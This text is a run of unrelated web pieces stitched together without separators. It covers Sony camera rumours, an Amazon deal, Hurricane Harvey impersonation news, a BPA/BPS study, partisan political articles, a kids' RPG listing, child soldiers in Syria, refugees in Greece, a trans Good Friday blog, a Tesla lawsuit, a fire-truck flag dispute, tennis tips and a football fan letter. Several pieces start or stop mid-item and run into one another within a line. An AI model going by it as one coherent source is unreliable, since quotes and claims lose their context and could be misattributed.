3) About curved sensor camera: “At this stage there is no product plan in the pipeline for a curved sensor. It’s maybe a long-term development so we can’t give you any more details“. SAR note: Keep ind mind two months ago Sony said mass production for a curved FF sensor is ready. SAR also spotted the patents for an RX with curved sensor. So I tink they have a product in pipeline but just want not to spill out the surprise ;)
4) “we have a 40% market share in the mirrorless segment”
5) It’s the kind of product that drives the mirrorless market: “Looking at the European market, the popular mirrorless products are always high-value cameras like the Fuji X-T1 or the Panasonic GH4 or the Olympus OM-D and our Alpha 7. All products are in the high-end segment”
6) About the A7 success story: “From a reputation point of view, very much so. It really did more than we expected. From a business point of view, because of this price point, it is of course not the kind of product that sells to millions but it is on track.”
7) Some fun: When asked about the future products Mr. Aoki answered: “You better visit SonyAlphaRumors for that!” SAR note: Suprised you know me! I am honored :)
And here is the more “serious” answer: “Our spirit keeps pushing us to challenge the market. That’s why we are developing unique products and unique features. We are not sure if our customers or the market will be excited, but at least we will challenge.”
Thanks BestMirrorlessCameraReviews!
P.S.: Gosh! Over 700 comments now on our A-mount frustration post!
New Sony stuff preorders:
Zeiss 16-35mm FE at Amazon, Adorama, BHphoto, Sony Store US.
Zeiss 16-35mm FE in Europe at Sony DE, UK, ES, IT, FR, CH, AT, NL, BE, FI, SE, NO, PT.
28-135mm powerzoom in Europe at Sony DE, UK, ES, IT, FR, CH, AT, NL, BE, FI, SE, NO, PT.
Sony FS7 4K camcorder at Adorama.
HVL-F32M Flash at Adorama, BHphoto.
HVL-F32M Flash in Europe at Sony DE, IT,
Sony RMT-VP1K Wireless Remote Commander & Receiver Kit at Adorama, BHphoto.
Sony XLR-K2M XLR Adaptor Kit (with microphone) at Adorama, BHphoto.
Sony LCS-PSC7 System Bag (Black) at BHphoto.
Loxia at BHphoto:
Zeiss Loxia 35mm f/2 Biogon T* Lens for Sony E Mount (Click here).
Zeiss Loxia 50mm f/2 Planar T* Lens for Sony E Mount (Click here)Several dpreview forum members are reporting that they were able to get 20% cash back when purchasing the Pentax K-1 from Amazon US with the Amazon credit card (see this and this post). I could not confirm this offer because I already have the Amazon credit card and the offer did not show in my account.
Update – here are the details of this offer:
Now through December 22nd, eligible Prime members can get 20% Back at Amazon.com on select holiday gift items when they use their Amazon Prime Rewards Visa Signature Card. That’s an additional 15% Back on top of the everyday 5% Back they already earn at Amazon.com.
The list of eligible items can be found here (the list of eligible Pentax gear can be found here). Pretty much all Rokinon lenses are also eligible (see all brands).Immigration and Customs Enforcement reports that people are pretending to work for the agency and telling people in Texas to evacuate their homes in the wake of Hurricane Harvey, possibly in order to burglarize their homes once they’re empty. The federal agency says it’s not conducting immigration enforcement activity in the affected area while relief efforts are taking place.
Yesterday, emergency management officials warned about fake emergency workers charging for their services and began tamping down on rumors that immigration officers were detaining people at shelters. The mayor of Houston—which is home to over half a million undocumented immigrants—even vowed to personally defend any of those residents from immigration action.
ICE agents & officers carry official badges and/or credentials which members of the public can ask to see & verify https://t.co/35WqtXAqEH pic.twitter.com/pcjaajDr3z — ICE (@ICEgov) August 30, 2017
Houston Police Chief Art Acevedo says would-be burglars are also impersonating local police, Reuters reports. Mayor Sylvester Turner has ordered a curfew in the city, telling people to stay off the streets between midnight and 5 a.m. to deter criminals.
At least 14 looters have already been arrested in the affected area, Harris County District Attorney Kim Ogg reports. Anyone committing crime in a declared disaster area in Texas can face heightened penalties, with home burglars facing jail sentences of five years to life in prison.
“People displaced or harmed in this storm are not going to be easy prey,” Ogg said in a statement posted to Twitter.
To volunteer or donate to relief efforts, visit the National Voluntary Organizations Active In Disaster and see a list of other organizations here.Companies advertise "BPA-free" as a safer version of plastic products ranging from water bottles to sippy cups to toys. Many manufacturers stopped used Bisphenol A to strengthen plastic after animal studies linked it to early puberty and a rise in breast and prostate cancers.
Yet new UCLA research demonstrates that BPS (Bisphenol S), a common replacement for BPA, speeds up embryonic development and disrupts the reproductive system.
Reported in the Feb. 1 edition of the journal Endocrinology, the animal study is the first to examine the effects of BPA and BPS on key brain cells and genes that control the growth and function of organs involved in reproduction.
"Our study shows that making plastic products with BPA alternatives does not necessarily leave them safer," explained senior author Nancy Wayne, a reproductive endocrinologist and a professor of physiology at the David Geffen School of Medicine at UCLA.
Using a zebrafish model, Wayne and her colleagues found that exposure to low levels of BPA and BPS--equivalent to the traces found in polluted river waters -- altered the animals' physiology at the embryonic stage in as quickly as 25 hours.
"Egg hatching time accelerated, leading to the fish equivalent of premature birth," said Wayne, who is also UCLA's associate vice chancellor for research. "The embryos developed much faster than normal in the presence of BPA or BPS."
The UCLA team, which included first author Wenhui Qiu, a visiting graduate student from Shanghai University, chose to conduct the study in zebrafish because their transparent embryos make it possible to "watch" cell growth as it occurs.
Using fluorescent-green protein tags, the researchers tracked the fishes' development of reproductive endocrine brain cells, which control puberty and fertility. In a second finding, the team discovered that the number of endocrine neurons increased up to 40 percent, suggesting that BPA overstimulates the reproductive system.
"Exposure to low levels of BPA had a significant impact on the embryos' development of brain cells that control reproduction, and the genes that control reproduction later in life," said Wayne. "We saw many of these same effects with BPS found in BPA-free products. BPS is not harmless."
Wayne suspects that overstimulation of the neurons that regulate reproduction could lead to premature puberty and disruption of the reproductive system. Her lab plans to investigate this question in a future study.
After uncovering her first finding about BPA in 2008, Wayne immediately discarded all of the plastic food containers in her home and replaced them with glass. She and her family purchase food and drinks packaged in glass whenever possible.
"Our findings are frightening and important," emphasized Wayne. "Consider it the aquatic version of the canary in the coal mine."
Finally, the researchers were surprised to find that both BPA and BPS acted partly through an estrogen system and partly through a thyroid hormone system to exert their effects.
"Most people think of BPA as mimicking the effects of estrogen. But our work shows that it also mimics the actions of thyroid hormone," said Wayne. "Because of thyroid hormone's important influence on brain development during gestation, our work holds important implications for general embryonic and fetal development, including in humans."
Researchers have proposed that endocrine-disrupting chemicals may be contributing to the U.S.' rise in premature human births and early onset of puberty over the past couple of decades.
"Our data support that hypothesis," said Wayne. "If BPA is impacting a wide variety of animal species, then it's likely to be affecting human health. Our study is the latest to help show this with BPA and now with BPS."
BPA can leach into food, particularly under heat, from the lining of cans and from consumer products such as water bottles, baby bottles, food-storage containers and plastic tableware. BPA can also be found in contact lenses, eyeglass lenses, compact discs, water-supply pipes, some cash register and ATM receipts, as well as in some dental sealants and composites. The U.S. and Europe were expected to manufacture more than 5 million tons of products containing the additives in 2015.
###
Wayne's co-authors included Yali Zhao and Matthew Farajzadeh at UCLA, and Chenyuan Pan and Ming Yang at Shanghai University.
The study was supported by grants from the UCLA Office of the Vice Chancellor for Research and the dean's office of the David Geffen School of Medicine at UCLA. Qiu was supported by the National Natural Science Foundation of China, Program for Innovative Research Team in University, the Shanghai Municipal Education Commission, and China Scholarship Council.Looking for news you can trust?
Subscribe to our free newsletters.
With Ted Cruz and John Kasich out of the race, Donald Trump has become the presumptive Republican presidential nominee. On Wednesday, Hillary Clinton’s campaign wasted no time switching to general election mode, releasing a web video criticizing Trump. But Clinton didn’t do it in her own words; the ad is a compilation of unkind things Trump’s fellow Republicans have said about him during the party’s nomination campaign.
It’s harsh. Mitt Romney calls Trump a misogynist, Marco Rubio claims he’s the most “vulgar person to ever aspire to the presidency,” and Jeb Bush says Trump needs therapy.
It looks like the Clinton campaign isn’t going to let any of the #NeverTrump Republicans forget that stance anytime soon.
“President Trump” is a dangerous proposition. Mitt Romney, Ted Cruz, and Marco Rubio agree.https://t.co/fUkISvgaXC — Hillary Clinton (@HillaryClinton) May 4, 2016
Update: 9:30 pm ET, May 4, 2016: Hillary has released a second ad that is even spicier than the first.In the mind of government critic George Will, a decline in the number of public jobs is actually a positive thing for the American economy.
At his usual position on ABC’s This Week panel discussion Sunday morning, the hardline conservative again displayed a lack of remorse to government employees losing their jobs in analyzing the latest Bureau of Labor Statistics figures. The figures released on Friday showed a net gain of 80,000 jobs to slightly lower the unemployment rate to 9%.
“The 80,000 is a net number,” said Will. “The private sector created 104,000 jobs. The public sector happily shrank by 24,000 jobs. Both of that’s good.”
Will represents the conservative belief that less public jobs will lead to more positions opening up in the private sector to spur a full economic recovery. But that dubious ideological belief has been far from the case.
WATCH: Video from ABC News, which was broadcast on November 6, 2011.Hero Kids is the ENnie award-winning fantasy RPG for kids aged from 4 to 10. This game offers a fast and fun introduction to RPGs, perfect for younger kids who are just getting interested in role-playing games.
"The game was great, we were off and playing within a few minutes of reading the rules!"
"Was woken up at 6am this morning by my son, saying he wanted to play Hero Kids right now! There's no such thing as going back to sleep in a 7yo's universe!"
NOTE: The print option includes the core rules, heroes, and monsters. Select the Print + PDF option (no extra cost) to also get the introductory adventure and printable heroes and monsters.
EXTRA NOTE: The Hero Kids - Complete Fantasy PDF Bundle includes 50% discount coupons for the softcover print versions of Hero Kids - Fantasy RPG, the Hero Kids - Fantasy Expansion - Monster Compendium, and the Hero Kids - Fantasy Expansion - Adventure Compendium (the coupons are emailed to you when you buy the bundle). So if you want the whole lot (PDFs and print version of the rules), buy the bundle then use the coupon to buy the softcover print version of Hero Kids - Fantasy RPG for half price!
Develop your kids' imagination and skills
Simple mechanics using only six-sided dice
Beautiful presentation, with fully illustrated heroes, monsters, and maps
10 heroes, including boys and girls
Challenge kids with combat and exploration
Playtime from 30-60 minutes
Includes a full adventure: Basement O Rats
More adventures available now
Hero Kids has a simple combat and adventuring system which avoids the complex maths of full-blown systems. Hero Kids' opposed dice pool system also keeps the players involved in the game even when it's not their turn.
The combat and adventuring mechanics in Hero Kids are based on six-sided dice, so you don't need to find any unusual dice to play!
The core game comes in a 50-page PDF and includes all of the rules and play instructions, as well as 10 heroes for the kids to play, plus a set of 16 basic monsters (and all of the separate adventures come with additional monsters). The game includes male and female heroes, including Warriors, Hunters, and Warlocks as well as unique heroes like the Rogue, Brute, Healer, and Knight. All of the heroes and monsters also come with printable stand-up minis to use in combat encounters.
Additionally, this basic game pack also includes the 19-page introductory adventure 'Basement O Rats', which comes with an extra monster and five illustrated printable encounter maps. Can the kids rescue their friend Roger from the unusually large rats that have overrun the tavern basement?
Hero Kids has undergone and extensive development and playtesting to ensure the game is as simple, addictive, and engaging as possible. But don't believe me, listen to the actual players:
"The game was great, we were off and playing within a few minutes of reading the rules!"
"Was woken up at 6am this morning by my son, saying he wanted to play Hero Kids right now! There's no such thing as going back to sleep in a 7yo's universe!"
"The game was simple enough for my precocious three-year-old to enjoy, and my five year old to not be distracted from. With the included adventure we all had a lot of fun, including me."
"The art in the book is great: the character portraits are great and very evocative, bringing forth things kids interested in this will probably be familiar with anyway. There's a character who resembles Rapunzel from Disney's Tangled, another who reminds me of Prince Zuko from Avatar: The Last Airbender."
"The game mechanics are easy to understand and fast enough to keep young players interested and do not get in the way of the story that is unfolding."
"The only real complaint I have is that there aren't full-page coloring pages available for each of the character portraits, something my kids (and myself!) would really enjoy."
"The design is clever, well thought out, and guaranteed to make you jealous that you didn't come up with it first."
"Providing stand-ups for each character helped a lot as well - it saved me from having to dig through my existing figures to find ones that resembled the children, and it reused the wonderful art."
"A great'starter' rpg for kids, and even better gaming experience for parents to play with their kids. The core rpg experience has been boiled down to its bare essentials here. It only takes about 15-20 minutes to read the entire rulebook and have a good enough grasp on the rules to play your first session. Games will typically take under 30 minutes to play, which short for a typical rpg session, but absolutely perfect when playing with kids."He is 11-years-old, has an AK-47 and he wants to kill Syria’s president Bashar al-Assad.
Schoolboy Mohammed Afar, who lives in the northern Syrian city of Aleppo, is not much taller than the assault rifle he carries, along with live ammunition and a walkie-talkie.
He sports a jacket marked with the badges of the rebel Free Syrian Army (FSA) and he is a crack shot. And he has the country’s leader in his sights.
“I want to stay as a fighter until Bashar is killed,” he told Vice.com.
Syria’s children have been used for military purposes throughout the civil war between the al-Assad regime and rebel FSA forces.
“He is a great shot,” says his father, Mohammed Saleh Afar. “He is my little lion.”
During the civil war between the al-Assad regime and rebel FSA forces, Syria’s children have endured numerous abuses.
According to a Human Rights Watch report, some opposition groups fighting in Syria “are using children for combat and other military purposes,” reports vice.com.
“Even when children volunteer to fight, commanders have a responsibility to protect them by turning them away,” said children’s researcher, Priyanka Motaparthy, in the report.
“Children are easily influenced by older relatives and friends, but their participation in armed hostilities places them in grave danger of being killed, permanently disabled, or severely traumatized.”
Mohammed is respected by the older fighters around him, some of whom are only children themselves and call him a “good shot.” He demonstrates great skill with his rifle, calmly removing the gun’s magazine before reinserting it.
He says he admires the fighters from the local hard-line Islamic group, Jabhat al-Nusra.
“They [Jabhat al-Nusra] know Islam and Sharia. They know what it means to be a Muslim,” Mohammed says.
“When my father goes to the frontline, he takes me with him. He says to be careful and we find a safe place to shoot from.”
Mohammed’s father sees little wrong with his son’s participation.
“I put my trust in God,” he says.
The other members of the unit agree. The 11-year-old is kept safe, they claim, and never taken to front lines that are too dangerous.
“There are other boys fighting too,” Mohammed says. “Some, but not much.”
This story originally appeared on news.com.auAuthorities in Greece have used stun grenades on refugees in Mytilene port, while in Kos island, reports of attacks on asylum seekers by a group calling them to "go home" have emerged, local media and a human rights organization said Friday.
On Friday morning, Greek Coast Guard and police used stun grenades to control thousands of refugees, mostly Afghans, in the port of Mytilene, local media said.
Around 1,000 Afghans had allegedly tried to occupy Blue Star 1 ferry at the port, shouting "Athens- Athens". After the use of force on the refugees, the ferry eventually managed to sail away from the port, Greek media said.
Greek authorities later led some 10,000 refugees from Mytilene port to an open space nearby.
Mayor of Mytilene Spyros Galanos told ERT television that the current situation was "explosive".
Mytilene is one of the many Greek islands where thousands of refugees have arrived, most of whom take a perilous journey over high seas in hopes of eventually reaching Western Europe.
Thousands of refugees have also camped at several central points in downtown Athens.
A 15-year-old Syrian refugee girl Alisa told Anadolu Agency that she only wanted to lead a normal life, filled with hope and promise. "My dream is to become an actress but it seems that my dream won't come true anymore since I have lost my home and we have nowhere to go now," she said.
"Our aim is to reach Germany or any other north European country; we don't want to stay here," Alisa's mother Galia said.
She said that their journey to Greece had been filled with many dangers. "The conditions are harsh" she said, adding: "We traveled for days with just a bottle of water".
- Bat attack on refugees
Refugees on the Greek island of Kos were reportedly physically attacked by a group of 15 to 25 people on Thursday night, Amnesty International said in a statement Friday.
"Last night Amnesty staff witnessed a group of 15-25 people, brandishing bats physically attack refugees on Kos, while shouting?go back to your countries' and other slurs," the human rights group said.
"Last night's violent attack once again throws into sharp relief the danger to them [refugees] and activists who help them. Action must be taken now at all levels to ensure they are protected," Kondylia Gogou, Greece Researcher at Amnesty International, said in the statement.
On the other hand, European Commissioner for Migration, Home Affairs and Citizenship Dimitris Avramopoulos praised Greek authorities for their handling of refugees arriving on the island of Kos, despite international criticism of "hellish" treatment to asylum seekers.
Speaking to reporters in Kos on Friday at a joint press conference with European Commission Vice-President Frans Timmermans, Avramopoulos said: "It is our obligation to receive them with respect and dignity. We know how to be hospitable, we the Greeks."
Avramopoulos said that many refugees had been saved from drowning with help from the Greek coastguard and police.
"Kos may be facing problems but we see the humane way the local inhabitants [are] showing solidarity to refugees arriving [on the island]," he said.
An estimated 3,000 to 4,000 refugees were staying on Kos and the majority were believed to be from Syria, Afghanistan and Iraq.
Amnesty reported its researchers found children, as young as a week old, among the crowds and forced to wait for days in the heat to be registered by the local authorities.
"The hellish conditions the refugees are now forced to endure and the official indifference to their plight is appalling," Amnesty's Gogou added.
More than 31,000 refugees have arrived in Kos so far this year, according to Greek coastguard staff.
Around 2,500 refugees and migrants have died or gone missing trying to reach Europe this year alone, according to the United Nations.
Interior ministers of all 28 EU states are expected to meet on Sept. 14 in Brussels to discuss ways to cope with the migrant crisis.[trigger warning: crucifixion, death, suicide, misgendering, transmisogyny, transphobia]
this year’s Good Friday seems different to me. perhaps I haven’t paid much attention in the past or i have a different group of Facebook friends than i did last year* but there seems to be more blog posts and articles about why “Good Friday” is called “good.” This day commemorates Jesus’ crucifixion at the hands of the Roman Empire. In this season, there tends to be a lot of theologizing, which is a consistent tendency of Christians. But I wonder if the “Goodness” of this Friday is lost to us such that we cannot see or hear our contemporary Christs and prophets.
Good Friday is the day Jesus died on the cross which represents various things for different Christians: God’s forgiveness of sin, Jesus “taking on the wrath of God,” Jesus’s atoning sacrifice, etc. And all of these meanings are closely connected, if not two sides of the same coin (or multiple sides of a weird looking die).
But when I think of Jesus, I think of someone who occupies multiple spaces in his society. He has certain privileges as a man, but is also a member of a colonized and exploited people–the Jewish people. In the latter, I regard Jesus as a deeply marginalized man. Thus, in the same regard, Jesus was crucified as that marginalized man; they mocked him with the title “King of the Jews.” This was not some epiphany. “King of Jews” was insulting because the King of the Jews was just crucified. Utterly humiliated so much that he did not feel that God was with him.
In this same way, all marginalized people are identified in Christ on the cross. What is good about this? It means that we are not alone. It means that we can look to our people–those who look or feel or act or are like us in our marginalized states–and say not only “I see God in you,” but more importantly, “I see you.”
On quite an ambivalent note, I’m totally not comfortable with a man being the symbol of all oppressed people. Not for any overtly political reason** either. It is simply that I have spent my whole life being forced to identify with the category of “male” when I certainly did not want to and the above reflections do exactly that. They forcibly identify me with “male.”
Indeed, plenty of feminist liberation theologians have thought “how the hell does anyone get away with saying ‘Christ saved humanity because he experienced human suffering’ when he has not experienced female suffering?” Of course, many of these thinkers turn out to be transmisogynistic–either overtly or covertly–usually by associating “female” with a specific body type.
But I think they’ve still got a point. Why are women and trans people and intersex people and so many others of different genders and body types expected to just assimilate themselves into ancient categories of “man”? What if we are not actually included in the life of the Church? On Good Friday, Jesus spoke no doctrines. Jesus was the object of such ridicule and dehumanization.
Many will say “Jesus died for what he believed in” but perhaps modern Christians are actually on the other end, executing people for who they are? Ridiculing them, dehumanizing them, humiliating our present-day Christs. In my experience, that is what Christianity is. Christianity always has at least two faces: the face of the privileged and the face of the oppressed. The privileged Christianity is orthodoxy–canonized by (and for) men, dedicated to maintaining its power so much that it is willing to be intimate with the imperial powers and further marginalize its own oppressed face. The oppressed face of Christianity which are those heretics.
How suspicious is it that so many heresies are also ones that had relatively egalitarian views of leadership? I can’t help but think that the condemnation of Gnosticism had something to do with its growing influence among Christian women. Female leadership meant that the tradition would have been more infused with feminine imagery, like, perhaps, a crucified woman this time. “The crushing weight of this tradition, of this power structure, tells us that we do not even exist.” [1]
What’s “good” about being excluded indefinitely from something that is allegedly “for” me? Every day it becomes increasingly clear that I have no place in Christian orthodoxy. For me, there was no surprise(!) resurrection. For me there is only the utter humiliation on earth and absolute uncertainty at whether anything I did was worthwhile. For me, Good Friday is the ending of a most Unholy Week. And will any orthodox hear my cries that God has abandoned me? Will anyone not just say “there is hope” but actually create it? How can anyone celebrate on this day when trans people have been crucified in Eastern University’s housing policy, among plenty other instances?!
“Hey we know you want us to believe who you say you are, but we’re going to force you into this dejected and humiliating space, knowing full well that it could likely kill you.”
Resurrection is a mere distant hope that my own community can be materially changed. But alas, today I remain dead to them.
* I forget exactly when this happened, but it was either at the very end of last semester (fall 2014) or during winter break. Facebook suspended my account indefinitely because some asshole reported me as “not using my real name,” having begun using a different name that was more congruent with my gender. I was not unable to get that account back unless I changed my name back to the name I used for 21 years. So naturally I said “fuck that” and made a new account and began a relatively selective “friending” process.
** all things are political, i know. bear with me.
*** even Pilate’s wife defends Jesus.
[1] Lynn Japinga, Feminism and Christianity, 133.Link to audio file (41:02)
In this episode, we speak with Matthew Schroyer, founder of DroneJournalism.org, co-founder of Drones for Good, and developer of the “Drones for Schools” program which teaches students to design, fabricate and program unmanned aerial systems to monitor the environment.
Matthew Schroyer
Matthew Schroyer has a Master’s in journalism from the University of Illinois Urbana-Champaign where he works on the National Science Foundation grant EnLiST, which offers entrepreneurial leadership training and professional development for K-12 STEM teachers. At EnLiST he uses drones to motivate students to pursue STEM careers.
Driven by the maker movement, safety concerns for journalists, and the promise of cutting edge information, Schroyer founded the Professional Society of Drone Journalists (PSDJ). His drones are used for the common good and a clear code of ethics was written to avoid privacy and safety concerns. Along the same lines, Schroyer cofounded Drones for Good, which aims to show the good side of drone technology through public engagement and the advancement of positive drone projects.
Links:4 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Sen. Ted Cruz (R-TX) who opposed disaster relief for the victims of Hurricane Sandy had his hypocrisy called out as he begged for federal dollars for Texas.
Video:
Tur mentioned that Cruz voted for aid against Sandy, but now he is asking for money for Texas. Tur asked Sen. Cruz what he would say to those critics.
Cruz answered, “Well, you know, look. There’s time for political sniping later. I think our focus needs to be on this crisis.”
Tur pressed on, “It’s not really political sniping, Senator. These are people who needed money and who needed funding right after that storm. I covered those people. Many of them, just like those in Houston, lost absolutely everything they owned.”
Cruz responded, “Well, Katy, Katy that’s exactly right, and the accurate thing to say is that I and a number of others enthusiastically and emphatically supported hurricane relief for Hurricane Sandy. Hurricane relief and disaster relief has been a vital federal role for a long, long time and it should continue. The problem with that particular bill is that it became a fifty billion dollar bill that was filled with unrelated pork, and what I said then, and what I still believe now is that it’s not right for politicians to exploit a disaster when people are hurting to pay for their own political wish list. Disaster relief needs to be focused on the victims of disaster relief, and I supported that for Sandy for disaster relief there, and I support that anywhere where there was a major disaster without getting distracted by political unnecessary pork spending.”
PolitiFact ruled an answer similar to Cruz’s about the pork in the Sandy bill as false.
One could see Sen. Cruz start to crumble as soon as he was pressed on his opposition to Sandy relief. What Cruz didn’t mention in his answer was that he delayed aid to Sandy victims for a month.
Sen. Cruz also didn’t mention the reason why the Sandy bill was so expensive was that red state Senators required a bribe before they would vote for it.
As Forbes reported at the time, “Why, you might ask, would the Senate be packing billions of taxpayer dollars for these areas of the country that are nowhere near the devastation brought about by superstorm Sandy into a bill designed to bring relief to those suffering from the storm that ripped the northeastern part of the nation? The answer can be found in a quick review of the states that are set to benefit from the Senate’s extra-special benevolence—states including Alabama, Mississippi, Texas and Louisiana.”
Ted Cruz tried to get out of his previous hypocrisy with lies, and when he couldn’t, he fell apart and offered some revisionist history that isn’t true.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Thomas Flessner was hired as a materials engineer at Tesla’s Fremont factory back in 2012, and was let go in February of this year. He’s now suing Tesla for age discrimination, claiming that he was frequently isolated by his coworkers and bosses for his older age, which ultimately led to him being fired.
According to the lawsuit filed last Thursday, Flessner claims he was unlawfully fired following years of “unfair comments and criticism about his age” by coworkers and supervisors.
From Fusion:
“Furthermore,” the complaint says, “the younger engineers were not criticized for the speed of their work by [supervisor Paul] Edwards even though they did not accomplish their projects any faster than plaintiff.” Paul Edwards is named repeatedly in the complaint and Flessner says Edwards singled him out by canceling meetings with him, ignoring his contributions, and criticizing him more sternly than his coworkers.
Advertisement
The suit also claims that the situation worsened for Flessner after taking time off for a surgery concerning congestive heart failure, with a supervisor allegedly telling him, “These guys are gunning for you.”
Age discrimination suits are unfortunately common among Silicon Valley companies (and Tesla claims it’s more of a tech company than an automaker), with Google, Facebook, Twitter and other major companies facing similar lawsuits and accusations.
A Tesla spokesperson told Fusion:CLOSE Fire Chief Tory Gallante of the Arlington Fire District talks about the increased attention the department has gotten following the removal of flags from their fire trucks. Alex H. Wagner/Poughkeepsie Journal
Buy Photo A view of the rear of two of Arlington Fire District's fire trucks, without flags. (Photo: Alex H. Wagner/Poughkeepsie Journal)Buy Photo
UPDATE: District set to meet Thursday to discuss possible resolutions
Will flags return to Arlington Fire District trucks after their removal attracted national attention and criticism? A compromise may be in the works.
The chairman of the Arlington Board of Fire Commissioners said he's reached out to Chief Tory Gallante to discuss the possibility of a compromise about the use of American flags on fire trucks.
American flags were removed from three Arlington Fire District trucks Tuesday, sparking heated discussion on social media and disappointment from union members.
MORE: Hughsonville to fly Arlington's former flag; some area districts use flags
Gallante was directed by the board to remove the flags from the backs of the trucks during Monday's meeting. He declined to comment on specifics of why the decision was made but said he is “very disappointed with their direction.”
Arlington Fire Commissioner Chairman Jim Beretta said the board majority feel the flags are a "liability during normal operations for our people and other motorists," and that the board had not been consulted before the flags were mounted.
On Wednesday, Beretta told the Poughkeepsie Journal that he has reached out to Gallante and offered to sit down for a discussion with him "and whomever he wants to pull together... to have an initial conversation on how we might come to a compromise, some solution."
Gallante said he, union members and board members are planning to meet on Thursday to "start discussing flag matter."
"I hope eventually this will get resolved," Gallante said.
EDITORIAL: Fire board should allow flags to fly
The flags, which were only recently mounted on the trucks at the request of the union, were removed during a ceremony at Arlington headquarters in the Town of Poughkeepsie Tuesday.
CLOSE American flags removed from Arlington fire trucks after order
The Arlington Fire District was not the only local organization to affix flags to its trucks. Hughsonville and Poughkeepsie are among departments that have used cloth flags, while others, including Arlington, feature flag decals on the trucks.
William H. Beale, a public information officer for Hughsonville Fire Department in Wappingers Falls, said the department has flown flags on the rear of its trucks since the 9/11 attacks.
“Our fire department has taken pride with displaying the flag on each of our apparatuses,” Beale said. “When it was brought to our attention (Tuesday) that this was happening at another department, we were surprised that anyone would encourage a flag to be removed.”
Hughsonville Fire Department members plan to attach one of the flags to its ladder truck in a ceremony at 6:30 p.m. today |
(30 or 60 packs). Everyone buys in bulk to save on groceries and other products, so why not buy in bulk for tennis, too?
6. Search for Coupon Codes
Perform a quick google search for coupons on the tennis shop you are buying from. You can often find coupon codes that you can input in your shopping cart that will take off a percentage from your total bill. Just search for “[name of tennis shop] coupon code.” It’ll take you less than a minute, and you can save a few bucks.
7. Save Old Tennis Balls
If you open a fresh can of tennis balls and use it for one practice session, chances are it is still good enough to use again. And even if the balls lose some bounce, you can still use them for other things like practicing your serve or placing balls on the court as targets or for footwork drills.
I recommend you buy a ball hopper to store and pick up balls. I use this one, which holds 75 balls and is pretty inexpensive ($25). Buy your tennis balls in bulk and you’ll have enough for one!
8. Play Tennis Outdoors When Possible
Playing indoors costs anywhere from $20 to $40 an hour. Not that cheap. I recommend that you play outdoors if possible to save money.
Most outdoor courts are free. You can use tennismaps.com to easily find public (or private) tennis courts in your area. If it’s a little chilly, layer up! Or invest the $20 you just saved towards a sweatshirt!
9. Indoor Tennis: Early Bird and Splitting Court Costs
If you have to play tennis indoors, there are a couple things you can do to save money.
First, if you can, play tennis during the non-peak or early bird hours. The cheapest time to play is usually first thing in the morning (~6am), followed by weekdays during work hours. The most expensive times to play are after work or on the weekend.
Second, make sure to split the court costs with a friend. And if you play doubles, the cost can be divided by 4. That makes playing tennis pretty cheap!
Bonus Tip: Sometimes, tennis clubs don’t mind if you play past the time you booked, as long as you paid for an hour. So keep playing and see if they say anything! If they are strict about court times or you see an employee scowling at you, you may want to get off the court! Find a court online that will be empty after your time slot to facilitate this strategy.
10. Ask for a Discount on Lessons
Ask your coach for a discount if you take multiple lessons. A coach will only list an hourly rate. However, if you are willing to commit to 5 or 10 lessons, sometimes the instructor will cut you a deal. This is great for both parties: you save some money, and the coach has guaranteed income coming his or her way. It won’t always work, but it has for several of my friends. “If you don’t ask, you won’t get.”
11. Re-Use Grips
If you want to save a few bucks, and don’t believe in wasting a perfectly good grip, then try re-using your tennis grips!
When one side of your tennis grip is no longer usable, take it off the handle and turn it over to the other side. If that side isn’t worn or damp, you can use the grip again!
I have done this successfully with all of my favorite overgrips: Yonex Super Grap, Wilson Pro Overgrip, Babolat Pro Tour Overgrip, and Tourna Grip.
Will you score style points and be invited to the next “I am the 1% meeting?” Probably not. But if you want to save money and don’t have an extra grip in your bag, re-using the backside of a tennis grip might do the trick.
12. Use a Rubber Band as a Vibration Dampener
Vibration dampeners come in a lot of cool varieties, but there’s no need to pay for one. Instead, tie a rubber band to the same spot of the stringbed where you would place a vibration dampener. If you don’t believe me, google search Andre Agassi. He used rubber bands and he did pretty well. Throw a bunch of them in your bag, and you are all set to go! Boom, more money in the bank!
13. Practice More Efficiently
Don’t waste your time or money on training that doesn’t help your game. If you take private or group lessons, tell your coach what you want to work on to maximize the value of your investment. Arranging practices with tough players who want to improve is the cheapest way to train effectively (cost = $0).
Be smart about your training, and your wallet will thank you for it.
Note: The product links above are affiliate links, which means that if you make a purchase after clicking on a link, I make a small commission. If you do, I really appreciate it! And if not, I appreciate you too 🙂
If you have any other ideas about how to play tennis on a budget, I would love to hear about them. Let me know by leaving a comment!
For more tips on how to improve your tennis game, get a free copy of my eBook: The Building Blocks of Tennis Success by subscribing to my free newsletter below!
The Building Blocks of Tennis Success eBook Subscribe to get my free eBook and learn about goal setting, training smart, proper technique, mental fortitude, the importance of competition, health and fitness, and more! Success! Now check your email to confirm your subscription and download your free eBook. Thanks for being a valued Tennis Files subscriber! I am proud to serve you 🙂For complete World Cup 2014 coverage visit Yahoo Sports and follow @YahooSoccer
No one took Brazil's 7-1 loss to Germany harder than defender David Luiz. With captain Thiago Silva suspended for the match, Luiz wore the armband for the day and, in his over exuberance to lead, it seemed as if he tried to play every position at the same time.
After Germany's humbling of an entire nation was complete, Luiz offered a tearful apology to his country on TV, saying, "I just wanted to see my people smile."
Scroll to continue with content Ad
[Photos: Brazil's 7-1 loss to Germany in headlines]
Seeing this prompted nine-year-old fan Ana Luz to write Luiz a letter letting him know that everything would be OK.
Here's the translation of what she wrote (via The Mirror):
Hi David Luiz,
My name is Ana Luz.
I saw all of the Brazil games in the World Cup and I liked it a lot watching you play.
I think that you don't need to be sad because you played well and did the best you could. You were a great captain.
Life is like this, sometimes people lose and sometimes people win but people only need to be happy.
David Luiz, you are my champion.
Ana Luz Penna Reale
To illustrate that he is her champion, she even included a lovely drawing of the PSG defender (complete with trademark big hair) holding/levitating a trophy. She also showed tremendous restraint by not admonishing him for his lack of defensive discipline or adding a P.S. of "I hope PSG kept the receipt."
[Gallery: Brazilian fans and players brokenhearted over World Cup exit]
Luiz posted the touching letter on Instagram and wrote, "Many thanks princess Ana Luz, loved your letter! And thanks to all Brazilians for all the support! I'll never give up my dreams, and I will always strive to give back all that love I receive! God bless you all!"
Story continues
Brazil will now face the Netherlands in the third-place match on Saturday, and for their sake, hopefully it won't go so terribly that nine-year-olds feel compelled to give the players life advice.
